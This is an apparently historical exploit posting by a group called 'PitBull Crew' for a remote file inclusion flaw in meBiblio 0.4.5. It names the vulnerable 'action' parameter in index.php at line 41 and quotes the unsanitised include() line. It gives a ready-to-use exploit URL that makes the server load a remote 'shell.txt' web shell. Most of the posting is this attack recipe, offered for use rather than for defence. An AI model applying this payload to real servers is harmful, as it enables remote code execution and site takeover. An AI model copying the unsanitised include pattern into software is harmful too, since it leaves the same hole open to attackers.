~~~~~~~~~~~~~~~~~~~~~~~~ ~ meBiblio 0.4.5 RFI ~ ~~~~~~~~~~~~~~~~~~~~~~~~ --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : meBiblio 0.4.5 --------------------- Download : http://downloads.sourceforge.net/mebiblio/meBiblio-0.4.5.tar.gz?modtime=1195237984&big_mirror=0 --------------------- Vulnerability Type : Remote File Inclusion --------------------- Vulnerable file : index.php --------------------- Exploit URL : http://localhost/path/index.php?action=http://localhost/shell.txt? --------------------- Method : get --------------------- Register_globals : On --------------------- Vulnerable variable : action --------------------- Line number : 41 --------------------- ---------------------------------------------- //print "

Action = $action" ; include "$action.inc.php"; } ---------------------------------------------- Greetings: ---------- PitBull Crew : The_PitBull - iNs - c0ol - Raz0r - Inphex Thanks To: ---------- packetstormsecurity.org